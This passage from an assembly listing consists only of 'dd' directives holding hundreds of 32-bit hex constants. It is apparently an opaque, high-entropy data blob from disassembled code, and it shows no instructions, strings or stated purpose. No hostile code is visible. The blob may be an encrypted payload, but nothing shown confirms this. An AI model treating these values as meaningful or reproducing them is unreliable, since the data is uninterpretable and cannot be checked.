0E59623Ah, 72D2F326h dd 19F78400h, 0D2C54988h, 0E0805BCBh, 12A72434h, 89541260h dd 0F8AC7B2Dh, 3CE3FAC1h, 0CDF1E4E4h, 0CC4EB825h, 0F9B5279Ch dd 2EDAC3C9h, 6FAAA424h, 0F9B60363h, 4801C4E9h, 96C0B114h dd 4CC1B6Ch, 42E7D101h, 0ADBD0BF6h, 0B95B29CEh, 65AB8412h dd 59E2AE28h, 6AC5C94Ah, 0D1B841B9h, 0A998AA12h, 0E72ADEE1h dd 38C0B466h, 956D589Fh, 0D6070DCCh, 896BFB3Eh, 2F60CD7Ah dd 834F15h, 0B2490C19h, 6F9DC34Ch, 36918C0Bh, 0A41A51FCh dd 14DD096Fh, 0F8F8F414h, 5AE38012h, 9002F7E1h, 34B0D5DAh dd 0A5BCD7B7h, 1DE0B24h, 0E0963092h, 2FEEFFAEh, 8A98CCC1h dd 12C2EFD0h, 0E36CBB8Fh, 950904C6h, 0CEAE1401h, 0E1B04B34h dd 0FB96A17Ah, 0BE734ECBh, 0F4CAD327h, 5A27D996h, 8058FA90h dd 89384BDFh, 0F7DB2E8Fh, 3776AFC9h, 7E25EE40h, 8CC82815h dd 71580F8h, 92CC0089h, 354FD79Eh, 0A5006DDBh, 504DB0EDh dd 0E83FCB6h, 5F5BFDF4h, 9B552433h, 1DFFC193h, 0DD2B46E2h dd 0B0246692h, 1D0F93CCh, 0FABC8FF9h, 2BA58BA5h, 524DE1FCh dd 59F461B0h, 0F50713DCh, 0BB3B0F5Dh, 6BB3EDA2h, 0BC0A1ED7h dd 0A06ED457h, 561F29A4h, 5E417141h, 0E9A4822Fh, 0F6D27C3Bh dd 165EC548h, 23B8F6D0h, 0EE9A97EEh, 7FD7CE81h, 607E40E8h dd 20003E5Eh, 5C529BCCh, 760859h, 861ED1BDh, 25A6A51Ch dd 4017F6B5h, 0FEEDD312h, 2260E300h, 0A3833975h, 5B0B127Eh dd 880CF2FCh, 8E37AFD5h, 8B17F80Ah, 0CD495107h, 0BF078900h dd 343C1258h, 9E232C5Ah, 0C38061C0h, 25958982h, 675B1081h dd 5F181D79h, 0BC38A938h, 92053FA1h, 0BD57F9A8h, 0B8B0C4AEh dd 25A3D41Bh, 0C04C5C7Ch, 43C256BFh, 27B57395h, 52E226D0h dd 3BF135E3h, 0DDC8AB16h, 225E003Ch, 6AC66C53h, 640046DFh dd 2F2BA31Eh, 40E03B35h, 5B4ADE9Dh, 0BB4F36A9h, 8F02CC6Eh dd 2BA876CDh, 0C63F9989h, 6F3BA92h, 859D0307h, 0EA8B6A20h dd 0EFE56047h, 440779D5h, 2E935D47h, 0BAA86F60h, 6D1900C2h dd 0B5E6FCEBh, 955F9D89h, 41E27756h, 5CED9907h, 0F956A9C2h dd 1429E5E2h, 4949F4B5h, 82985866h, 766FF305h, 82BDC283h dd 0F615854Bh, 70E0E094h, 95290B5Fh, 58F414F5h, 0D03891C0h dd 8243017Ah, 8A392AA1h, 0FB74898Ch, 134C7B5Bh, 3EA9A9BDh dd 1F411231h, 9AB595ACh, 0F287C002h, 2E67ED52h, 9147BEE1h dd 65D8242Fh, 39116213h, 29CB830h, 3F3AD5E6h, 910295D4h dd 0ABF9040Bh, 0ED80312Ah, 116D8F10h, 0B4B2DB5Ah, 35BEAC00h dd 16E98A84h, 4C974C4h, 55445F09h, 2538AC00h, 119882D8h dd 0E81F4858h, 97C01D2Eh, 0B493B65Bh, 2BF4F35h, 3F18E2CCh dd 2BEF8455h, 9345F82h, 0A50BEC5Ch, 55E2A9EBh, 0D5009837h dd 38C01C33h, 9152B99h, 75FA31AAh, 0AFDC2A21h, 0FABF250Fh dd 581263E5h, 38A7BBAh, 4F7EFFBEh, 0D7EBBAD2h, 8F187C18h dd 5D5FE507h, 0BDFEC6FBh, 74F6F5B4h, 0C5F48BE0h, 0C77B1A0Fh dd 8B7AF408h, 0D6C756F9h, 2E241446h, 92A5237Eh, 4B67F3DEh dd 3222668Ah, 2FDEAE81h, 0B7534A30h, 0C65B2B04h, 0A64D8AEh dd 0D72CBA04h, 7BAB34DDh, 0C51B2F26h, 2878076h, 48E9FB6Fh dd 0CCFFF338h, 5C9269Dh, 8CBCC144h, 0FC0BD3Bh, 33BE805Ah dd 29F109A1h, 0C8B72A0Eh, 0CF75204Bh, 3C00CCB3h, 56FFA63Fh dd 27F8407Eh, 50585FA2h, 392C3690h, 0F3780CFh, 6B962AC5h dd 7AD49F20h, 0CB3FF780h, 339F5h, 0C1F36F2h, 0BE2A9497h dd 51A2AB4Ah, 0F57C7100h, 5FDD3344h, 8B905B09h, 0DD6DFFFAh dd 4DCDC0EFh, 591B50Bh, 850912BDh, 337DE1FDh, 20FE5ED9h dd 761E0182h, 5721FB00h, 7BD01F2Ah, 0EC274BC5h, 925FCDBAh dd 15D6F3Ah, 0ADF27852h, 2831072Fh, 0C6058431h, 0B70C45BEh dd 9BC8037Fh, 0D2C517E2h, 0B2FA235Ah, 11E90511h, 19FEE300h dd 629DBC31h, 30CEB701h, 0A14A4DB2h, 0AA7DD3E0h, 80177D5h dd 3FF2B1D1h, 868D1F1Ch, 0E93F4710h, 166B1721h, 5F2ED8BBh dd 9BD9E8AAh, 69035F2Fh, 0F8815639h, 5E2CDCE2h, 34CFD200h dd 655C1E67h, 0DC17B490h, 0EEC8E700h, 0B5EC866Eh, 5B1E05CCh dd 0FB45BD2Bh, 0EE9BCC56h, 0ECBE05C0h, 0D113544Dh, 53DB6AD7h dd 0DFE0ADC0h, 0DC3CBFBCh, 0C46DA576h, 3C51FC92h, 3704F23Ch dd 0BC64B0CEh, 9EB7C45Ah, 0BEF575ABh, 0D7F321A3h, 0FE9F41F0h dd 47E9BD00h, 9501BAE8h, 2E139205h, 940D1FFh, 607908CDh dd 0CB5D7EC4h, 0ABA2A5B5h, 0C0FE026Ah, 0BA418A2Eh, 882F909Ah dd 0CF3FEE96h, 0FA5800F0h, 0F42B6AEAh, 0F21C0425h, 82D2A429h dd 89505736h, 61032BA6h, 0C8EF22E2h, 51B7F066h, 5F01E926h dd 71086E50h, 31D9A50Ch, 0A90242A5h, 597F73BAh, 3EC5181Bh dd 6FA661CFh, 0E936048Bh, 8A8EAB3Fh, 58E2A510h, 0FDFE2401h dd 698A2915h, 4E44FE92h, 0BD0FD5C4h, 10BDD056h, 60481B51h dd 1889DF25h, 340FD2D9h, 93DA0A2h, 3046D68h, 325956D0h dd 0E597FF0Eh, 19A151F2h, 76C8DF00h, 1CAC387Dh, 309A0B00h dd 7FB0CFAEh, 2A18EEA3h, 4AAA2BB7h, 0B8F0F990h, 0F0DD00FBh dd 0F2BC1064h, 0B1970189h, 0CA2AF85Bh, 0DF9A5AD6h, 4DD8A682h dd 0F5AB980h, 76BD16E6h, 919D614Ah, 7D722F2Bh, 25F45050h dd 0E958C257h, 0DC2C5EB7h, 170AB1E4h, 3B890F92h, 1FC9B584h dd 0F101955Dh, 0F3CA885Bh, 14B01E02h, 5E9163B3h, 522BC437h dd 0C92AE5E1h dd 91C72A18h, 70E60F08h, 0C14A87ABh, 6A9AAE80h, 606971E4h dd 69C6FD1Ah, 5E892140h, 117FE85h, 0F31F93ABh, 0B5092B04h dd 28BC29D9h, 9FCFA996h, 6750A4A1h, 65FC10C0h, 6617CC3Dh dd 80099957h, 0EA2578FBh, 722BF64Ah, 0C8C84F51h, 100F866h dd 20078042h, 26D13A3Fh, 88338BDDh, 0C4250EF9h, 0D0FADD2Ch dd 0F7844F11h, 0EB817C41h, 212FFE79h, 18193520h, 0A7034585h dd 44EC5C9Ah, 0DE08241Ah, 44F89801h, 618006E1h, 0EB6352E9h dd 1C198509h, 95442179h, 0FD41ABBDh, 622F1AC5h, 60244221h dd 731D77E2h, 7BD88717h, 24ACC10Dh, 0EAA6C044h, 10A70E01h dd 1CAABD99h, 4B4E32Ah, 61D78B5Fh, 298137BDh, 831F5B5h dd 0CA7C8A04h, 2CB91934h, 185FAC84h, 12C3B7FAh, 0FB958B56h dd 625A414Bh, 0CBCDED22h, 95D24CD7h, 359D3E6Eh, 12CC0288h dd 9F5EA3AFh, 9DFC9840h, 0BD900022h, 0D36315DBh, 0E8225CCCh dd 0D570000Bh, 0CF16A764h, 96264828h, 992D9A68h, 0B9C45B46h dd 0B7107032h, 54DC3774h, 97D8A28Ah, 177B6A8Bh, 24664670h dd 173D7779h, 0FC138245h, 0EF715D5Bh, 5AE50220h, 0AC23E219h dd 0D3E4009Fh, 57077DFFh, 0E2080280h, 0A6BA5F56h, 57189AAh dd 0DBFA945Ch, 268B5049h, 625D0D34h, 0D5DE5C84h, 4668FCC0h dd 700117AFh, 0D0BBA08Ch, 5EC2782Eh, 16DD4A8Ah, 0F1C5242Dh dd 0E8FC2D08h, 0AF3A0465h, 0D9D6B23Bh, 0D9DD2A28h, 0A067B62Ah dd 1A253057h, 5A26D940h, 56F9A9FDh, 0B5BD5EDBh, 13BA1ED3h dd 0C0AE064h, 1184604Ch, 0B5171359h, 61AAA0CDh, 0C0614D97h dd 4929611Ah, 0E5EFF502h, 5EB75FFFh, 141E51C3h, 0DFA4D8AAh dd 260DB023h, 10590821h, 0F8E1FF0Bh, 0CE174B01h, 97A8227Dh dd 0B6697814h, 516DFF1Ah, 2700CBC7h, 12757DF5h, 0F225FBEAh dd 0A04F8899h, 491D13ADh, 0B36FAB60h, 2B10C901h, 2FEAB33Ah dd 6EE09012h, 0EEF0481h, 0BD2C332Ah, 1C21C4Bh, 0DE9C5625h dd 2C23C70Eh, 5665818Eh, 0C1642E64h, 0A2325AB8h, 4A34A864h dd 12A2C843h, 8E459Dh, 0E1649F47h, 41BD759Dh, 0B9042519h dd 95F9D268h, 0A70558A8h, 0C4542A8Ah, 37CC1584h, 105A1C13h dd 0F379C092h, 0B88AAD2Fh, 1260D54Ch, 7DAD2404h, 8902C7B8h dd 794F6B8Ch, 0D0AFDB1Eh, 0AE058610h, 1538FCC5h, 0DFD3C703h dd 0CF0A0989h, 0D4599D4Dh, 0C50BB61h, 62647ECAh, 0DA565B57h dd 0E6C4A5h, 0B82E1046h, 2B6499B9h, 0FA8B570Bh, 0F946895Bh dd 0EDD982F1h, 507F659Ch, 9A070018h, 0A3AA0AF4h, 5F4A10B7h dd 0F65B33F3h, 53161CDFh, 0CC1CDF01h, 1907AF57h, 0DC2FF6h dd 41683D29h, 0BD09EAFBh, 4F85D159h, 78D70A20h, 0CEC20A01h dd 2945195h, 5BC7D4EFh, 5349E57h, 0E96DEF80h, 70B7BFF1h dd 4F930CA0h, 0AABB9104h, 9BA37A4h, 0BDD74C40h, 7F5F806Fh dd 0D099CD58h, 0F6C4D53Ah, 537D817Ch, 1196F358h, 57A0FE9h dd 1520FD24h, 0A8E7EF9Ah, 0B7E65B25h, 0C18D3109h, 0EA7C5E28h dd 0A208091Dh, 89928279h, 0F6E6FBEh, 0E28E2B74h, 0DC810FBBh dd 0AEFA6461h, 2D98CB34h, 1EDCBF09h, 0FD92239Dh, 466ED3h dd 0A8E8F768h, 0B7962225h, 7BE950FEh, 0DA81C9DBh, 0F520660Fh dd 82242F68h, 0C06B9BBEh, 142982FBh, 0AA9607BAh, 0B0E068A7h dd 56BB4FC2h, 15309813h, 3E1FF4A0h, 0F64EDDC0h, 8CF7E0CAh dd 0CA140139h, 0E17A7E30h, 0F7E26DBh, 54D9AF48h, 5A7153F1h dd 196BFBh, 0D3797AA6h, 24F3622h, 0B8666090h, 0C66D241h dd 0F3E5BB00h, 28B0C25Bh, 0D7680243h, 21974F69h, 5B3A185Dh dd 0F460F061h, 0A3CE07B8h, 0A45E35F8h, 80F1A890h, 0D2E69355h dd 9D8917A7h, 0AA5DC4A5h, 1CC8A2DAh, 7AF155C0h, 0B99B506Ah dd 61A12583h, 76709873h, 3B1209C0h, 74D016F7h, 0D3FB99A0h dd 9A69697h, 2821BD2Bh, 3FC68A79h, 7214BB27h, 6778FFh dd 0F605A7Bh, 2956CABFh, 0E1952Dh, 0E96159EBh, 42B29C27h dd 31050DA5h, 2E08B5BAh, 14E2886Bh, 1209B330h, 0B2117595h dd 10A416FDh, 48E99E47h, 0D64F1224h, 0DF7182C0h, 0D1004E47h dd 0A53D5409h, 704B77FDh, 282FF75Ch, 5700180h, 0E2626D9Fh dd 0C45B57Ch, 2F04D788h, 0EE458710h, 2ACC2100h, 0D371CE26h dd 335E4FAh, 311DDF07h, 0EE9DF985h, 0F88B8E45h, 80882AFFh dd 8248D4B4h, 0DDF704A8h, 0BD311894h, 9C7A4A81h, 0C9D32F5Ch dd 70A60732h, 0F91047A1h, 52369A1Bh, 995BB3C8h, 0E73B48B5h dd 0A507B009h, 20674ABFh, 0DCD5783Dh, 7F199400h, 0FE9B3852h dd 0D65A0681h, 7A795C72h, 76E21A97h, 65C6403Ah, 2EE60F2Fh dd 0B31C19Dh, 9D3BAC14h, 0BB256D84h, 79A633C0h, 7C79B037h dd 579603FBh, 505FDD8Ah, 2D1DC18Ch, 6EE7DFBFh, 0AEC6B884h dd 1423F26Bh, 85018E02h, 2F105D1Dh, 2F5A12EBh, 0F3A9CFE2h dd 2DA01CF3h, 360129E4h, 0BD8974C4h, 0A63B11D9h, 3114F26Fh dd 0D1E72ADCh, 8F8BDA5Bh, 38B66262h, 3B325DBFh, 0CF9FF958h dd 0C9C14086h, 363C972Eh, 235389AAh, 0BE21D058h, 0DAF34074h dd 4D07EA2Fh, 87116172h, 6FCBE0EFh, 139A96AAh, 0A11A085Dh dd 0B8253D36h, 7C0E0371h, 60D88B48h, 8AB4EB9Dh, 0F89705B8h dd 0AE61318Fh, 0D46BE275h, 0D0BC8E00h, 0BFD13CDEh, 435E9809h dd 0AE46D120h, 0B11DDC09h, 0EF57BC0Eh, 0C6745AF1h, 0A49D7D8Dh dd 0A18DA0CFh, 18409D07h, 6C977FD1h, 61F9BC4Fh, 5197DBDh dd 0FC784CB1h, 0DDF288D2h, 72DB4400h, 0C2B983AFh, 0A82A09D6h dd 565196EFh, 3668000h, 8ACE71h, 696A609Bh, 19113B64h dd 9630D231h, 0DF21E29Eh, 0B24CCE23h, 7C80333Ch, 0C816B62Ah dd 0ED0BAC77h, 7F04FC51h, 0D8489546h, 0BA358F6h, 813AB1BEh dd 6190A5A7h, 0B260F62Ah, 40C6301Ah, 30FF7001h, 95317D1Dh dd 0EC64947Ah, 0FCD4B3Bh, 4917C86Fh, 78A31A4Bh, 9C5FB97h dd 3B8C9F9h, 0B9E55900h, 50A7904Ch, 0FB4709BFh, 0BD06425h dd 7AFD8A2Ah, 822337BDh, 8D852949h, 565EAFEh, 0F91664BEh dd 1BF71E72h, 0E7BF87FAh, 0BD800890h, 9B84C168h, 181771BAh dd 0E31D1686h, 9090B89h, 6E554642h, 60F6ADB6h, 274C561Dh dd 9F45149Dh, 725C1EE2h, 8D160EDEh, 0B94283FEh, 0E6517E37h dd 0CE93FD02h, 51A2F6B4h, 2F8DDDCFh, 5F250ACBh, 254CFD1h dd 0D9E0171Fh, 0D3E8D586h, 0C65E0FD6h, 9989AF9Eh, 76E9A1D1h dd 662DD447h, 35B1FDBCh, 0BF5B8305h, 89294FB1h, 0F13AC9E9h dd 9DCC2084h, 5CBEDD5Fh, 7D055141h, 0BC9DC14Dh, 5E160964h dd 0BED37114h, 57071011h, 0F0792C84h, 730A8F97h, 193DA001h dd 0FCB51C76h, 7303170h, 0BB905BC0h, 4F454161h, 0DEAE9E50h dd 17E6CA3Dh, 27E2C4E0h, 8C610712h, 0E077D90Ah, 1281AA1Eh dd 0A3C7802Ah, 0FCA7846Bh, 8A109810h, 62CAC5FCh, 1CE6AFF3h dd 0C5CFE9F0h, 41774312h, 5681A5E8h, 0E4F74D61h, 63EA958Ah dd 78D84B1Ch, 8FA25B93h, 0E8806080h, 83A0F5CAh, 65F8BB50h dd 0CC5EA13Bh, 2E1618FAh, 42998DC3h, 69E94A0Ah, 0F609F4B8h dd 79D0CE97h, 0BD2382F4h, 0EE7518D5h, 219B81B0h, 0D1FF02FEh dd 58004551h, 5FD20EEFh, 93A6C220h, 0DD5E5B27h, 0A156851h dd 17F34400h, 816F02h, 2FA2CD83h, 16808702h, 0A890B1D2h dd 0EF3020DAh, 0A5DDF838h, 0B6834FD9h, 0E1CEAF47h, 19DD7732h dd 9AAE32Fh, 7D330FEDh, 250358Ah, 140D9529h, 87E8E45Eh dd 1293F915h, 44E8EAE9h, 5F36CE1h, 0FED80882h, 0B8C625B9h dd 33201997h, 1120C96Ah dd 21AEBAF7h, 520C858Bh, 32AE51C0h, 124258D6h, 97002CC6h dd 126C7F9h, 9035060h, 48E3A63Bh, 3C938578h, 0F3181D51h dd 35A7D91Dh, 0E389D442h, 1200F0D5h, 0F534ADDBh, 0DCB72BAEh dd 1BA175E0h, 9EC5E34Bh, 25A7A6BEh, 6BC85687h, 76E4D5h dd 0C678D6BBh, 0F98A5B02h, 6EFF6A5Fh, 6D730EDDh, 0A8D6A0ADh dd 5A64578Bh, 11CC259h, 0DA4466D4h, 508BA2BDh, 66804BF3h dd 0EE9716FFh, 5FC51623h, 0FAFDC07Dh, 0BB1C5B18h, 5E49E36Fh dd 60A7FEB0h, 969294DFh, 1AA1121Dh, 0E26236C0h, 488A2CA5h dd 0BD1F89DEh, 725EE7DDh, 21CF562h, 276071E4h, 0E6950B75h dd 9D0266E0h, 0ED3C23h, 4B559D2Bh, 0E8BEC80Ch, 5D5710E9h dd 351B0063h, 0C4E16D5Fh, 47054F19h, 5115C77Eh, 2D7EFDB8h dd 765106BAh, 702F26A6h, 2E1541A3h, 78FCDD09h, 208DB0CDh dd 0E1B72B3Dh, 0E32A20BDh, 9C5108Fh, 1B1CF092h, 0D3A2E980h dd 0E2F91E67h, 386CF09Dh, 5F804C44h, 7A1DE781h, 83971E74h dd 365652CCh, 0B0E5098Ch, 2DF164B5h, 0EB711985h, 0B84E0E91h dd 7914329Dh, 0FA6FA466h, 0E8D7C1BCh, 17B98224h, 0D05E40CAh dd 9A9E005Fh, 6FE1C6D5h, 0F80AFE60h, 0FD3784C0h, 468DC702h dd 44D35E5Fh, 0D8885236h, 0B02D1D37h, 0F372050Dh, 0F5F4BE7Eh dd 2AA804BFh, 0BD7F800Ah, 0E3189C7h, 0C0681095h, 0BD0B408Ah dd 94973069h, 6FDE16C7h, 0BDF2FD17h, 0BBA76040h, 27087E0Eh dd 70DB6A30h, 9A752678h, 860F2F87h, 38509875h, 2D799804h dd 277BADD7h, 8181959h, 171F9A38h, 0E8408A2Bh, 0E9B9433Ah dd 14FB970Fh, 123294D0h, 15FF7Bh, 47F8E341h, 85976B44h dd 0BAFC50CDh, 24BD31C7h, 5E5F0B0Ch, 0C87DDE5Ch, 0A38DCD00h dd 2BF57B20h, 9B7395C0h, 66181451h, 0FAFCD3B5h, 1100CB6Eh dd 76A19623h, 2D9A86F4h, 747907ADh, 0BCD62B90h, 0D32325C0h dd 20FF2817h, 91F01CDh, 0E5E53595h, 0BDB5A793h, 0FC76B907h dd 4F1C44Bh, 9EF83CB7h, 5E09FE3Dh, 809B7B0Ah, 9839CF81h dd 0D1B547E3h, 86AE76AEh, 75BC502Fh, 0DC569211h, 0DF0080AAh dd 818CFF9Ch, 9034DED8h, 91194AF1h, 0DEA1B584h, 42449CD7h dd 0EB810268h, 0DCB81BDCh, 0FE00FCDDh, 2DDD8611h, 0B5A7600Eh dd 895CB61Ah, 0D3E59E6Fh, 47B5D01Fh, 845CA98h, 0C4028CD8h dd 0BC03B30Dh, 0DDC4A3AAh, 5E7AFEh, 615F19B4h, 720E2BF4h dd 30A580D6h, 0C46D7195h, 0AFBB43A8h, 5D4DB2D1h, 6FF94E16h dd 9D088B8Ah, 60131465h, 2DE2B6B6h, 2724B75Eh, 740FF909h dd 1D46D42Bh, 57912F00h, 2B32649Ah, 40581C01h, 0DD953360h dd 104BA97Ah, 612507C1h, 1116EAE9h, 0BFD8F380h, 1007132Dh dd 6BAB06h, 69001D23h, 911706C9h, 836838AFh, 2D39B874h dd 5EEAF59Dh, 7EA5BE5Ch, 7128F47Ah, 4009B587h, 6490E6C6h dd 0E0827D63h, 0DFD85183h, 531202DDh, 4021E2h, 9B590D9h dd 807DBD92h, 8D68B8E7h, 0E65C617Fh, 2B05AEDh, 0BD841472h dd 0B12ABB19h, 775B95C1h, 7337185Ah, 95B3B08Fh, 1564C1CDh dd 6B767F61h, 0CC043C34h, 0E6C82BB5h, 0E92140E5h, 1C013520h dd 921CAEBFh, 5A3EF327h, 0F01A413h, 19D18D09h, 2695E72Ah dd 0FF2DC189h, 50B53C02h, 54D888D3h, 41EE25A5h, 0F89023ECh dd 6FED2BB2h, 6C00656Fh, 0ABB33CA0h, 2135C2Dh, 28BA5626h dd 2BA08F76h, 0B14BF780h, 35BF1EC4h, 0C2B9E08Dh, 0B8F39A5Fh dd 0D57CA00h, 97312284h, 0A43C2309h, 0A80E7996h, 0D9D2549h dd 0BE797329h, 2508E4Ch, 0A624BB53h, 64D701D9h, 0BA6000A8h dd 146BB95Bh, 5613BE66h, 44BA619Fh, 520DE836h, 0B3AEB0AEh dd 2E158C00h, 0E8B8C7EBh, 0C0BF05C5h, 0B838881Ah, 0FE8B13F9h dd 0B34531BAh, 8A62DED7h, 6F882F52h, 2001AEFBh, 86646E9Ch dd 5EC6C38Ah, 53E06B12h, 0B03DBB50h, 623B277Ah, 5289B180h dd 5BAD816Ah, 0F06B6661h, 90B63C75h, 0D9CD123Dh, 2B38AE29h dd 1FBD21B5h, 160E69E7h, 803ADBEAh, 1BAEC4A0h, 0D8690B96h dd 87C02536h, 0E9348CB7h, 0DBFB2A56h, 573BC9CBh, 1147A98h dd 0C0A64600h, 0D424BC62h, 7BBF478h, 2D81FB16h, 0BFEE304Ah dd 2F127E70h, 0C6E35F6Ch, 0A8545DBAh, 7B9E000Eh, 0B3C4D39Bh dd 609F1613h, 951CD9D5h, 4A01F73Dh, 1C48FE30h, 4A19EF20h dd 0E1B8B81Bh, 0B72F0491h, 0CEECA0DEh, 0FE65129Fh, 63482C2Bh dd 0EC1A0449h, 25205FE1h, 5CCFAF57h, 66449202h, 4DD54D9Fh dd 0BC536BCCh, 8AF10502h, 78275F4h, 0EC5C3EF2h, 59B85B69h dd 2D4C1816h, 315EF55Bh, 37F41502h, 618B617Dh, 0AD4A3F38h dd 0A29AD29Eh, 0F380E48Fh, 184EFC0Fh, 8057D99Dh, 201EA3E3h dd 0B875FD6Ch, 275FAF00h, 0F41CA7BAh, 0C4FF0BA4h, 0F5DEB42Fh dd 23577427h, 3B0B26A9h, 97C66A25h, 45F32F88h, 0D4BEBD0Eh dd 0B36020DAh, 30190Fh, 0B2D70B17h, 43089CFAh, 3585FAA0h dd 1ED7A9AAh, 6710B78Eh, 4400B92Dh, 15567407h, 4FE37A70h dd 5FF300BCh, 1239B529h, 796C7BB5h, 3184C317h, 697CE930h dd 82758A70h, 57C63B5Bh, 0DEBA95B3h, 442F725Ch, 85FE4B56h dd 0B8A8B960h, 0F8DC4014h, 0E28AB5A1h, 0FBEB565Ch, 32015091h dd 0FE114605h, 17B1483Fh, 0A755122Bh, 84C4B061h, 60F1383Bh dd 8992F9B8h, 9D4BFABDh, 0DEEDFE6Ah, 0A563E718h, 9EB815Eh dd 85DD4F9h, 78F84131h, 3704D679h, 96092529h, 5DE7157h dd 0AE585360h, 8B8ED782h, 25F75E0Bh, 3C103363h, 0F1400AF1h dd 0FC373FE8h, 1CB921CDh, 0D9B7D48Eh, 0A568B199h, 0F1B22A24h dd 80169AD2h, 3A2E624Ah, 0D491255Ah, 1C114CC5h, 37BB6602h dd 2759501Fh, 62C35C25h, 0AD57F98Ah, 0F87FA242h, 3BDA4A2Fh dd 4CC01BC8h, 948877Ah, 0EAE498FFh, 950F1098h, 0D2FA7000h dd 5009B593h, 0A03500F2h, 3BC1E96Fh, 31047B9Ch, 599D016Eh dd 0C1D4D4FEh, 2E0A995Dh, 0E9A66274h, 0EB1F2BE0h, 0C4878600h dd 0CD53D9F7h, 5CD30581h, 6456CE27h, 1D8C0480h, 0D058B905h dd 79D512AEh, 0C28E3DE2h, 80FE9E13h, 0F9EF591Dh, 6A8016AFh dd 4688FE09h, 7D7887h, 2F02C7A5h, 318AA162h, 2B35B515h dd 0B44394h, 0AF631145h, 7E59CAh, 8A3637E1h, 88509F13h dd 3001C67Ah, 9D238082h, 2B090A75h, 9BFF5416h, 0C410C0CFh dd 0E9031Eh, 0D99E3C1Dh, 5B3AB757h, 20E9C64Bh, 0E417EDE8h dd 8B948F0Fh, 47C89DC0h, 9512E81Ch, 6103915Fh, 2FC0C22Ah dd 95521EDDh, 5A000144h, 16014453h, 9DA7F5F1h, 0F3816094h dd 605BFDE1h, 1FFD931h, 852E16E9h, 94A3BE10h, 97C1EBA4h dd 0A67A1E01h, 0FD3000EAh, 626FD3D4h, 217761h, 0A79B1F1Bh dd 79E63817h, 0C674F712h, 9BB8DE0h, 6773BFCFh, 882E31D7h dd 69624F69h, 61022A25h, 9CF9DF90h, 9A265016h, 0F5BF190Ah dd 7F84226Dh, 81A43AACh, 50B99E9h, 9BDBC8h, 0E7A10944h dd 8F98B052h, 0EAAE6502h, 55F448C6h, 88262CDEh, 546A5B8Dh dd 0A898B31h, 0E5139529h, 2C4C20Eh, 736FD718h, 50C0C925h dd 7EE38501h, 0B2A30352h, 6FD0124Ah, 8AEA4A14h, 31AE4024h dd 0D412A99Fh, 0F50EDEB6h, 74ADBD29h, 7B033C24h, 0C9F7075Ah dd 443EA05Ah, 7A8C1B4Bh, 0DDD148FFh, 94956D22h, 0D960456Ah dd 51212A82h, 6E6F026Ah, 0F0ED00B3h, 0D0DFA4D4h, 4E213BBh dd 9DCB059Fh, 91C38821h, 0B5503040h, 2C115C10h, 0D6E57401h dd 292D26ABh, 2530C956h, 60C50F21h, 2C8DBD04h, 0E9DE8A01h dd 62382E2Ah, 0B71D92CEh dd 43ADF883h, 2A059010h, 0AF282184h, 50FC2570h, 31B50CBFh dd 518D7636h, 0CFE64097h, 0CC020BBAh, 11897FC1h, 0BF975158h dd 124C928Dh, 5A46B2B8h, 0A782869Eh, 0A642511Dh, 8B910375h dd 52210008h, 1485F781h, 0D4BD2F31h, 0FA8B65E5h, 2D29F7F4h dd 0F6D2CD9Dh, 6D81FF4Ah, 7A60DEC4h, 56BCAAA1h, 2A5B69E7h dd 0B388D216h, 0B00140EDh, 0FA96CCD8h, 70E6255Fh, 2BF8FB61h dd 6465F75Fh, 0AC92566h, 5762F164h, 9309D14h, 0D9ACE051h dd 0BFC302C9h, 7C806203h, 0E4422561h, 349B10D7h, 99B00059h dd 0F653AC1Dh, 3D096FB4h, 587BE89Eh, 2BFC00F6h, 0BEECBBC8h dd 58957E6Eh, 296A44DDh, 0B2D256B7h, 2E52CDDCh, 4C508500h dd 80524755h, 0E52D5ACBh, 340E9BD4h, 0DFBF800Ch, 298D286Bh dd 3BDB1784h, 6F19CDD0h, 803F03ADh, 0DD6665A5h, 177A8964h dd 1D9862AEh, 54B50922h, 0B34CA502h, 402ABF05h, 0A210455Eh dd 0AC984A53h, 177F25C7h, 3DE74E4Dh, 0FB8D9903h, 0A12FF0DBh dd 0B66A5A75h, 0F75CF19Eh, 9A711F4h, 0DBB13F7Dh, 6554D02h dd 80D06E55h, 2D3E56F8h, 9D72ABB9h, 14B19D10h, 3035B7C7h dd 0B36EE4BBh, 65536D4Bh, 39606FFAh, 218201BBh, 413ACF58h dd 91F1202Fh, 9B0270DCh, 0FB8A5B6h, 9F811281h, 2A516FF7h dd 6E7F9EB1h, 70B25E5Eh, 8A63BB14h, 0B7564C25h, 11946FEh dd 8B7871A5h, 0B484C507h, 0AB166BE7h, 165FC61h, 66A64A0Eh dd 0A23DC1A4h, 92ED6E64h, 82263058h, 85296156h, 100B2FA5h dd 0ACB5555Bh, 0E186CA7h, 7F12BC30h, 0A51412D2h, 8D2E2A40h dd 61C01CC8h, 5289397h, 4690456Ch, 3F31BE07h, 83BDF80h dd 0BF8105A1h, 4553C62h, 5B8A72Dh, 76189925h, 9D0940A6h dd 57990729h, 672BA53Fh, 0E1F038B9h, 0F0F8B62Eh, 82352C40h dd 0B19BF662h, 7EFC4F4h, 9958D93h, 0CDADB75Bh, 80D5CB6Dh dd 0FFD33B19h, 7953BBE1h, 438C40A7h, 0A10102B9h, 811108AAh dd 2FEC75CBh, 0D5949523h, 0A401E645h, 382B10A9h, 26D3EEB1h dd 0ECBD50A9h, 3C016DD0h, 6030F84Eh, 0DA31CA8Bh, 61A5926Eh dd 7F51D856h, 0CDA6BE15h, 0C19DD5E0h, 0BC32E700h, 104C3994h dd 4DBD1631h, 0A822BD09h, 7E268C15h, 0CE022385h, 5605B830h dd 168826F8h, 163DF733h, 9BC0B41h, 0FF011FC5h, 0D900407Ah dd 93AB327h, 125A918Dh, 0BF0218B7h, 3E4E4BDBh, 46D6C956h dd 4D94001Ch, 102EF86Ch, 46782E06h, 90811273h, 41B8606Dh dd 6411AE05h, 0D4AF29B4h, 0B908E9A6h, 0B927FE2Ah, 4B185529h dd 0FA9F3B5Bh, 13D40028h, 3DEA7F21h, 0E802ECEBh, 51729F68h dd 3290776Eh, 7CBF2F2Ah, 0B0825201h, 48D5F84Ch, 2C71601Fh dd 89646E4Eh, 645108EAh, 0D5D30EBDh, 8910E209h, 1BEFDF85h dd 0E9FE74C0h, 0F7FFA2BAh, 64706CD3h, 0D11412FEh, 48DDB617h dd 0D58D4A47h, 0CCFF81Bh, 2C3556E0h, 8F2C23D8h, 45092746h dd 5CF95905h, 9091DE0Ch, 95FBB0B2h, 35B5FCB0h, 25E7284Ah dd 0DE525DE0h, 0E9130E0Ch, 3FA81B0Dh, 9992369Dh, 0FEF2B07Dh dd 73FC8616h, 16ACA7E9h, 7EE9128Ch, 